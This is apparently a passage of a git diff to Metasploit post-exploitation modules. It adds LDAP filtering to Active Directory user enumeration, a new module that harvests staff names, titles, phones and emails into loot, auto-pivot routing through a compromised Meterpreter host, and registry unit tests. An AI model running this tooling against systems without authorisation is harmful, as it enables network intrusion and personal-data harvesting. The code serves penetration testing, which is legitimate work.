q = query("(&(objectClass=group)#{f})", max_search, @user_fields)
|
||||
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
|
||||
# Can't bind or in a network w/ limited accounts
|
||||
print_error(e.message)
|
||||
|
@ -68,8 +71,6 @@ class MetasploitModule < Msf::Post
|
|||
# @param [Array<Array<Hash>>] the LDAP query results to parse
|
||||
# @return [Rex::Ui::Text::Table] the table containing all the result data
|
||||
def parse_results(results)
|
||||
domain = datastore['DOMAIN'] || get_domain
|
||||
domain_ip = client.net.resolve.resolve_host(domain)[:ip]
|
||||
# Results table holds raw string data
|
||||
results_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Domain Groups",
|
||||
|
@ -93,5 +94,4 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
results_table
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -47,6 +47,7 @@ class MetasploitModule < Msf::Post
|
|||
OptBool.new('EXCLUDE_LOCKED', [true, 'Exclude in search locked accounts..', false]),
|
||||
OptBool.new('EXCLUDE_DISABLED', [true, 'Exclude from search disabled accounts.', false]),
|
||||
OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]),
|
||||
OptString.new('FILTER', [false, 'Customised LDAP filter', nil]),
|
||||
OptString.new('GROUP_MEMBER', [false, 'Recursively list users that are effectve members of the group DN specified.', nil]),
|
||||
OptEnum.new('UAC', [true, 'Filter on User Account Control Setting.', 'ANY',
|
||||
[
|
||||
|
@ -146,6 +147,7 @@ class MetasploitModule < Msf::Post
|
|||
inner_filter << '(!(lockoutTime>=1))' if datastore['EXCLUDE_LOCKED']
|
||||
inner_filter << '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' if datastore['EXCLUDE_DISABLED']
|
||||
inner_filter << "(memberof:1.2.840.113556.1.4.1941:=#{datastore['GROUP_MEMBER']})" if datastore['GROUP_MEMBER']
|
||||
inner_filter << "(#{datastore['FILTER']})" if datastore['FILTER'] != ""
|
||||
case datastore['UAC']
|
||||
when 'ANY'
|
||||
when 'NO_PASSWORD'
|
||||
|
|
|
@ -0,0 +1,106 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex'
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::LDAP
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Generate CSV Organizational Chart Data Using Manager Information',
|
||||
'Description' => %(
|
||||
This module will generate a CSV file containing all users and their managers, which can be
|
||||
imported into Visio which will render it.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptBool.new('WITH_MANAGERS_ONLY', [true, 'Only users with managers', false]),
|
||||
OptBool.new('ACTIVE_USERS_ONLY', [true, 'Only include active users (i.e. not disabled ones)', true]),
|
||||
OptBool.new('STORE_LOOT', [true, 'Store the organizational chart information in CSV format in loot', true]),
|
||||
OptString.new('FILTER', [false, 'Additional LDAP filter to use when searching for users', ''])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
max_search = datastore['MAX_SEARCH']
|
||||
user_fields = ['cn', 'manager', 'description', 'title', 'telephoneNumber', 'department', 'division', 'userPrincipalName', 'company']
|
||||
|
||||
begin
|
||||
qs = []
|
||||
qs << '(objectCategory=person)'
|
||||
qs << '(objectClass=user)'
|
||||
qs << '(!userAccountControl:1.2.840.113556.1.4.803:=2)' if datastore['ACTIVE_USERS_ONLY']
|
||||
qs << '(manager=*)' if datastore['WITH_MANAGERS_ONLY']
|
||||
qs << "(#{datastore['FILTER']})" if datastore['FILTER'] != ""
|
||||
|
||||
query_string = "(&(#{qs.join('')}))"
|
||||
vprint_status("Executing #{query_string}")
|
||||
q = query(query_string, max_search, user_fields)
|
||||
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
|
||||
# Can't bind or in a network w/ limited accounts
|
||||
print_error(e.message)
|
||||
return
|
||||
end
|
||||
|
||||
if q.nil? || q[:results].empty?
|
||||
print_status('No results returned.')
|
||||
else
|
||||
user_fields << 'reports_to'
|
||||
results_table = parse_results(q[:results])
|
||||
print_line results_table.to_s
|
||||
if datastore['STORE_LOOT']
|
||||
stored_path = store_loot('ad.orgchart', 'text/csv', session, results_table.to_csv)
|
||||
print_status("CSV Organisational Chart Information saved to: #{stored_path}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Takes the results of LDAP query, parses them into a table
|
||||
def parse_results(results)
|
||||
results_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Users & Managers",
|
||||
'Indent' => 1,
|
||||
'SortIndex' => -1,
|
||||
'Columns' => ['cn', 'description', 'title', 'phone', 'department', 'division', 'e-mail', 'company', 'reports_to']
|
||||
)
|
||||
|
||||
results.each do |result|
|
||||
row = []
|
||||
|
||||
result.each_with_index do |field, idx|
|
||||
next if idx == 1 # Don't include the manager DN
|
||||
|
||||
if field.nil?
|
||||
row << ""
|
||||
else
|
||||
row << field[:value]
|
||||
end
|
||||
end
|
||||
|
||||
# Parse the manager CN string to grab the CN= field only.
|
||||
# Note that it needs the negative lookbehind to avoid escaped characters.
|
||||
reports_to = /^CN=(?<cn>.+?),(?<!\\,)/.match(result[1][:value])
|
||||
if reports_to.nil?
|
||||
row << ""
|
||||
else
|
||||
row << reports_to['cn'].gsub('\,', ',')
|
||||
end
|
||||
|
||||
results_table << row
|
||||
end
|
||||
results_table
|
||||
end
|
||||
end
|
|
@ -15,7 +15,8 @@ class MetasploitModule < Msf::Post
|
|||
'Name' => 'Windows Manage Network Route via Meterpreter Session',
|
||||
'Description' => %q{This module manages session routing via an existing
|
||||
Meterpreter session. It enables other modules to 'pivot' through a
|
||||
compromised host when connecting to the named NETWORK and SUBMASK.},
|
||||
compromised host when connecting to the named NETWORK and SUBMASK.
|
||||
Autoadd will search session for valid subnets and route to them.},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'todb'],
|
||||
'Platform' => [ 'win' ],
|
||||
|
@ -26,7 +27,7 @@ class MetasploitModule < Msf::Post
|
|||
[
|
||||
OptString.new('SUBNET', [false, 'Subnet (IPv4, for example, 10.10.10.0)', nil]),
|
||||
OptString.new('NETMASK', [false, 'Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"', '255.255.255.0']),
|
||||
OptEnum.new('CMD', [true, 'Specify the autoroute command', 'add', ['add','print','delete']])
|
||||
OptEnum.new('CMD', [true, 'Specify the autoroute command', 'autoadd', ['add','autoadd','print','delete']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -58,6 +59,8 @@ class MetasploitModule < Msf::Post
|
|||
print_status("Adding a route to %s/%s..." % [datastore['SUBNET'],netmask])
|
||||
add_route(:subnet => datastore['SUBNET'], :netmask => netmask)
|
||||
end
|
||||
when :autoadd
|
||||
autoadd_routes
|
||||
when :delete
|
||||
if datastore['SUBNET']
|
||||
print_status("Deleting route to %s/%s..." % [datastore['SUBNET'],netmask])
|
||||
|
@ -156,6 +159,49 @@ class MetasploitModule < Msf::Post
|
|||
Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session)
|
||||
end
|
||||
|
||||
def is_routable?(route)
|
||||
if route.subnet =~ /^224\.|127\./
|
||||
return false
|
||||
elsif route.subnet =~ /[\d\.]+\.0$/
|
||||
return false
|
||||
elsif route.subnet == '0.0.0.0'
|
||||
return false
|
||||
elsif route.subnet == '255.255.255.255'
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# This function will search for valid subnets on the target and attempt
|
||||
# add a route to each. (Operation from auto_add_route plugin.)
|
||||
#
|
||||
# @return [void] A useful return value is not expected here
|
||||
def autoadd_routes
|
||||
switch_board = Rex::Socket::SwitchBoard.instance
|
||||
print_status("Searching for subnets to autoroute.")
|
||||
found = false
|
||||
|
||||
session.net.config.each_route do | route |
|
||||
next unless is_routable?(route)
|
||||
|
||||
if !switch_board.route_exists?(route.subnet, route.netmask)
|
||||
begin
|
||||
netmask = route.netmask == '255.255.255.255' ? '255.255.255.0' : route.netmask
|
||||
if Rex::Socket::SwitchBoard.add_route(route.subnet, netmask, session)
|
||||
print_good("Route added to subnet #{route.subnet}/#{netmask}")
|
||||
found = true
|
||||
else
|
||||
print_error("Could not add route to subnet #{route.subnet}/#{netmask}")
|
||||
end
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => error
|
||||
print_error("Could not add route to subnet #{route.subnet}/(#{netmask})")
|
||||
print_error(error.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
print_status("Did not find any new subnets to add.") if !found
|
||||
end
|
||||
|
||||
# Validates the command options
|
||||
def validate_cmd(subnet=nil,netmask=nil)
|
||||
|
|
|
@ -126,7 +126,6 @@ class MetasploitModule < Msf::Post
|
|||
ret
|
||||
end
|
||||
|
||||
|
||||
it "should write REG_DWORD values" do
|
||||
ret = true
|
||||
registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD")
|
||||
|
@ -154,6 +153,41 @@ class MetasploitModule < Msf::Post
|
|||
ret
|
||||
end
|
||||
|
||||
it "should create unicode keys" do
|
||||
ret = registry_createkey(%q#HKCU\σονσλυσιονεμκυε#)
|
||||
end
|
||||
|
||||
it "should write REG_SZ unicode values" do
|
||||
ret = true
|
||||
registry_setvaldata(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str", "дэлььякатезшимя", "REG_SZ")
|
||||
registry_setvaldata(%q#HKCU\σονσλυσιονεμκυε#, "test_val_dword", 1234, "REG_DWORD")
|
||||
valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str")
|
||||
if (valinfo.nil?)
|
||||
ret = false
|
||||
else
|
||||
# type == REG_SZ means string
|
||||
ret &&= !!(valinfo["Type"] == 1)
|
||||
ret &&= !!(valinfo["Data"].kind_of? String)
|
||||
ret &&= !!(valinfo["Data"] == "дэлььякатезшимя")
|
||||
end
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
|
||||
it "should delete unicode keys" do
|
||||
ret = registry_deleteval(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str")
|
||||
valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str")
|
||||
# getvalinfo should return nil for a non-existent key
|
||||
ret &&= (valinfo.nil?)
|
||||
ret &&= registry_deletekey(%q#HKCU\σονσλυσιονεμκυε#)
|
||||
# Deleting the key should delete all its values
|
||||
valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_dword")
|
||||
ret &&= (valinfo.nil?)
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue